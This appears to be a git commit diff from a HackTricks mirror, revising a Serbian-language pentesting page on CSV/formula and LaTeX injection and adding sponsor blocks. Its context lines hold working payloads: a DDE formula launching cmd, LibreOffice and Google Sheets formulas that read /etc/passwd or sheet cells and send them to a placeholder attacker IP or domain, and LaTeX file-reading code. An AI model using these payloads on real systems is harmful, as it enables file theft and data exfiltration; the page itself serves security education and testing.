mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 08:01:00 +00:00
Translated ['pentesting-web/formula-csv-doc-latex-ghostscript-injection.
This commit is contained in:
parent
b33f4b7755
commit
2dc92c385d
2 changed files with 25 additions and 11 deletions
Binary file not shown.
After Width: | Height: | Size: 278 KiB |
|
@ -6,7 +6,7 @@
|
||||||
|
|
||||||
Drugi načini podrške HackTricks-u:
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -14,6 +14,14 @@ Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## Formula Injection
|
## Formula Injection
|
||||||
|
|
||||||
### Info
|
### Info
|
||||||
|
@ -21,7 +29,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
Ako se vaš **unos** **reflektuje** unutar **CSV fajlova** (ili bilo kog drugog fajla koji će verovatno biti otvoren u **Excel-u**), možda ćete moći da ubacite Excel **formule** koje će biti **izvršene** kada korisnik **otvori fajl** ili kada korisnik **klikne na neki link** unutar Excel tabele.
|
Ako se vaš **unos** **reflektuje** unutar **CSV fajlova** (ili bilo kog drugog fajla koji će verovatno biti otvoren u **Excel-u**), možda ćete moći da ubacite Excel **formule** koje će biti **izvršene** kada korisnik **otvori fajl** ili kada korisnik **klikne na neki link** unutar Excel tabele.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Danas će **Excel upozoriti** (nekoliko puta) korisnika kada se nešto učita izvan Excel-a kako bi ga zaštitio od zlonamernih radnji. Stoga, poseban napor na socijalnom inženjeringu mora biti primenjen na krajnji payload.
|
Danas će **Excel upozoriti** (nekoliko puta) **korisnika kada se nešto učita izvan Excel-a** kako bi ga sprečio od zlonamernih radnji. Stoga, poseban napor na socijalnom inženjeringu mora biti primenjen na krajnji payload.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||||||
|
@ -39,17 +47,17 @@ DDE ("cmd";"/C calc";"!A0")A0
|
||||||
|
|
||||||
Sledeći primer je preuzet sa [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
Sledeći primer je preuzet sa [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||||
|
|
||||||
Zamislite da je došlo do bezbednosnog propusta u sistemu za upravljanje studentskim evidencijama koji je iskorišćen putem napada CSV ubacivanjem. Primarni cilj napadača je da kompromituje sistem koji koriste nastavnici za upravljanje detaljima studenata. Metoda uključuje ubacivanje zlonamernog sadržaja u aplikaciju, posebno unošenjem štetnih formula u polja namenjena detaljima studenata. Napad se odvija na sledeći način:
|
Zamislite da je došlo do bezbednosnog propusta u sistemu za upravljanje studentskim evidencijama koji je iskorišćen putem napada CSV ubacivanjem. Primarni cilj napadača je da kompromituje sistem koji koriste nastavnici za upravljanje detaljima studenata. Metoda uključuje ubacivanje zlonamernog sadržaja u aplikaciju, tačnije unošenjem štetnih formula u polja predviđena za detalje studenata. Napad se odvija na sledeći način:
|
||||||
|
|
||||||
1. **Ubacivanje Zlonamernog Sadržaja:**
|
1. **Ubacivanje Zlonamernog Sadržaja:**
|
||||||
* Napadač šalje formu sa detaljima studenata ali uključuje formulu koja se često koristi u tabelama (npr. `=HYPERLINK("<zlonamerni_link>","Kliknite ovde")`).
|
* Napadač podnosi obrazac sa detaljima studenata ali uključuje formulu koja se često koristi u tabelama (npr. `=HYPERLINK("<zlonamerni_link>","Kliknite ovde")`).
|
||||||
* Ova formula je dizajnirana da kreira hiperlink, ali vodi ka zlonamernom serveru koji kontroliše napadač.
|
* Ova formula je dizajnirana da kreira hiperlink, ali vodi ka zlonamernom serveru koji kontroliše napadač.
|
||||||
2. **Izvoz Kompromitovanih Podataka:**
|
2. **Izvoz Kompromitovanih Podataka:**
|
||||||
* Nastavnici, nesvesni kompromitovanja, koriste funkcionalnost aplikacije za izvoz podataka u CSV fajl.
|
* Nastavnici, nesvesni kompromitovanja, koriste funkcionalnost aplikacije za izvoz podataka u CSV fajl.
|
||||||
* Kada se CSV fajl otvori, i dalje sadrži zlonamerni sadržaj. Ovaj sadržaj se pojavljuje kao klikabilan hiperlink u tabeli.
|
* Kada se CSV fajl otvori, i dalje sadrži zlonamerni sadržaj. Ovaj sadržaj se pojavljuje kao klikabilan hiperlink u tabeli.
|
||||||
3. **Pokretanje Napada:**
|
3. **Pokretanje Napada:**
|
||||||
* Nastavnik klikne na hiperlink, verujući da je to legitimni deo detalja studenata.
|
* Nastavnik klikne na hiperlink, verujući da je to legitimni deo detalja studenata.
|
||||||
* Nakon klika, osetljivi podaci (potencijalno uključujući detalje iz tabele ili računara nastavnika) se šalju na server napadača.
|
* Nakon klika, osetljivi podaci (potencijalno uključujući detalje iz tabele ili računara nastavnika) se prenose na server napadača.
|
||||||
4. **Logovanje Podataka:**
|
4. **Logovanje Podataka:**
|
||||||
* Server napadača prima i beleži osetljive podatke poslate sa računara nastavnika.
|
* Server napadača prima i beleži osetljive podatke poslate sa računara nastavnika.
|
||||||
* Napadač može zatim koristiti ove podatke za različite zlonamerne svrhe, dodatno kompromitujući privatnost i bezbednost studenata i institucije.
|
* Napadač može zatim koristiti ove podatke za različite zlonamerne svrhe, dodatno kompromitujući privatnost i bezbednost studenata i institucije.
|
||||||
|
@ -60,7 +68,7 @@ Zamislite da je došlo do bezbednosnog propusta u sistemu za upravljanje student
|
||||||
|
|
||||||
U specifičnim konfiguracijama ili starijim verzijama Excel-a, funkcionalnost nazvana Dinamička Razmena Podataka (DDE) može biti iskorišćena za izvršavanje proizvoljnih komandi. Da biste iskoristili ovo, sledeće postavke moraju biti omogućene:
|
U specifičnim konfiguracijama ili starijim verzijama Excel-a, funkcionalnost nazvana Dinamička Razmena Podataka (DDE) može biti iskorišćena za izvršavanje proizvoljnih komandi. Da biste iskoristili ovo, sledeće postavke moraju biti omogućene:
|
||||||
|
|
||||||
* Idite na Datoteka → Opcije → Centar Poverenja → Postavke Centra Poverenja → Spoljni Sadržaj, i omogućite **Pokretanje Servera za Dinamičku Razmenu Podataka**.
|
* Idite na Datoteka → Opcije → Centar za poverenje → Postavke centra za poverenje → Spoljni sadržaj, i omogućite **Pokretanje Servera za Dinamičku Razmenu Podataka**.
|
||||||
|
|
||||||
Kada se otvori tabela sa zlonamernim sadržajem (i ako korisnik prihvati upozorenja), sadržaj se izvršava. Na primer, da bi se pokrenula aplikacija kalkulatora, sadržaj bi bio:
|
Kada se otvori tabela sa zlonamernim sadržajem (i ako korisnik prihvati upozorenja), sadržaj se izvršava. Na primer, da bi se pokrenula aplikacija kalkulatora, sadržaj bi bio:
|
||||||
```markdown
|
```markdown
|
||||||
|
@ -77,7 +85,7 @@ LibreOffice Calc može se koristiti za čitanje lokalnih datoteka i eksfiltracij
|
||||||
* Čitanje prvog reda iz lokalne datoteke `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
|
* Čitanje prvog reda iz lokalne datoteke `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
|
||||||
* Eksfiltracija pročitanih podataka na server pod kontrolom napadača: `=WEBSERVICE(CONCATENATE("http://<napadačeva IP adresa>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
* Eksfiltracija pročitanih podataka na server pod kontrolom napadača: `=WEBSERVICE(CONCATENATE("http://<napadačeva IP adresa>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||||
* Eksfiltracija više od jednog reda: `=WEBSERVICE(CONCATENATE("http://<napadačeva IP adresa>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
* Eksfiltracija više od jednog reda: `=WEBSERVICE(CONCATENATE("http://<napadačeva IP adresa>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||||
* Eksfiltracija DNS-a (slanje pročitanih podataka kao DNS upita na DNS server pod kontrolom napadača): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<napadačeva domena>"))`
|
* Eksfiltracija putem DNS-a (slanje pročitanih podataka kao DNS upita na DNS server pod kontrolom napadača): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<napadačeva domena>"))`
|
||||||
|
|
||||||
### Google Sheets za eksfiltraciju podataka izvan opsega (OOB)
|
### Google Sheets za eksfiltraciju podataka izvan opsega (OOB)
|
||||||
|
|
||||||
|
@ -87,19 +95,19 @@ Google Sheets nudi funkcije koje se mogu iskoristiti za eksfiltraciju podataka i
|
||||||
* **IMPORTXML**: Uvozi podatke iz strukturiranih tipova podataka - `=IMPORTXML(CONCAT("http://<napadačeva IP adresa:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
* **IMPORTXML**: Uvozi podatke iz strukturiranih tipova podataka - `=IMPORTXML(CONCAT("http://<napadačeva IP adresa:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||||||
* **IMPORTFEED**: Uvozi RSS ili ATOM feed-ove - `=IMPORTFEED(CONCAT("http://<napadačeva IP adresa:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
* **IMPORTFEED**: Uvozi RSS ili ATOM feed-ove - `=IMPORTFEED(CONCAT("http://<napadačeva IP adresa:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
||||||
* **IMPORTHTML**: Uvozi podatke iz HTML tabela ili lista - `=IMPORTHTML (CONCAT("http://<napadačeva IP adresa:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
* **IMPORTHTML**: Uvozi podatke iz HTML tabela ili lista - `=IMPORTHTML (CONCAT("http://<napadačeva IP adresa:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
||||||
* **IMPORTRANGE**: Uvozi opseg ćelija iz druge radne sveske - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID radne sveske]", "sheet1!A2:E2")`
|
* **IMPORTRANGE**: Uvozi opseg ćelija iz druge radne sveske - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID_radne_sveske]", "sheet1!A2:E2")`
|
||||||
* **IMAGE**: Umeće sliku u ćeliju - `=IMAGE("https://<napadačeva IP adresa:Port>/images/srpr/logo3w.png")`
|
* **IMAGE**: Umeće sliku u ćeliju - `=IMAGE("https://<napadačeva IP adresa:Port>/images/srpr/logo3w.png")`
|
||||||
|
|
||||||
## LaTeX Injekcija
|
## LaTeX Injekcija
|
||||||
|
|
||||||
Obično serveri koje ćete pronaći na internetu, a koji **pretvaraju LaTeX kod u PDF**, koriste **`pdflatex`**.\
|
Obično serveri koje ćete pronaći na internetu, a koji **pretvaraju LaTeX kod u PDF** koriste **`pdflatex`**.\
|
||||||
Ovaj program koristi 3 glavna atributa za (ne)dozvoljeno izvršavanje komandi:
|
Ovaj program koristi 3 glavna atributa za (ne)dozvoljeno izvršavanje komandi:
|
||||||
|
|
||||||
* **`--no-shell-escape`**: **Onemogućava** konstrukt `\write18{komanda}`, čak i ako je omogućen u texmf.cnf datoteci.
|
* **`--no-shell-escape`**: **Onemogućava** konstrukt `\write18{komanda}`, čak i ako je omogućen u texmf.cnf datoteci.
|
||||||
* **`--shell-restricted`**: Isto kao `--shell-escape`, ali **ograničeno** na 'siguran' skup **unapred definisanih** \*\*komandi (\*\*Na Ubuntu 16.04 listu možete pronaći u `/usr/share/texmf/web2c/texmf.cnf`).
|
* **`--shell-restricted`**: Isto kao `--shell-escape`, ali **ograničeno** na 'siguran' skup **unapred definisanih** \*\*komandi (\*\*Na Ubuntu 16.04 listu možete pronaći u `/usr/share/texmf/web2c/texmf.cnf`).
|
||||||
* **`--shell-escape`**: **Omogućava** konstrukt `\write18{komanda}`. Komanda može biti bilo koja shell komanda. Ovaj konstrukt je obično zabranjen iz sigurnosnih razloga.
|
* **`--shell-escape`**: **Omogućava** konstrukt `\write18{komanda}`. Komanda može biti bilo koja shell komanda. Ovaj konstrukt je obično zabranjen iz sigurnosnih razloga.
|
||||||
|
|
||||||
Međutim, postoje i drugi načini za izvršavanje komandi, pa je radi izbegavanja RCE-a veoma važno koristiti `--shell-restricted`.
|
Međutim, postoje i druge metode za izvršavanje komandi, pa je radi izbegavanja RCE vrlo važno koristiti `--shell-restricted`.
|
||||||
|
|
||||||
### Čitanje datoteke <a href="#read-file" id="read-file"></a>
|
### Čitanje datoteke <a href="#read-file" id="read-file"></a>
|
||||||
|
|
||||||
|
@ -119,7 +127,7 @@ Možda ćete morati prilagoditi ubacivanje sa omotačima kao što su \[ ili $.
|
||||||
\text{\line}
|
\text{\line}
|
||||||
\closein\file
|
\closein\file
|
||||||
```
|
```
|
||||||
#### Pročitajte višelinijsku datoteku
|
#### Pročitajte višelinijski fajl
|
||||||
```bash
|
```bash
|
||||||
\newread\file
|
\newread\file
|
||||||
\openin\file=/etc/passwd
|
\openin\file=/etc/passwd
|
||||||
|
@ -189,6 +197,12 @@ Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||||||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||||
|
|
||||||
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
Loading…
Reference in a new issue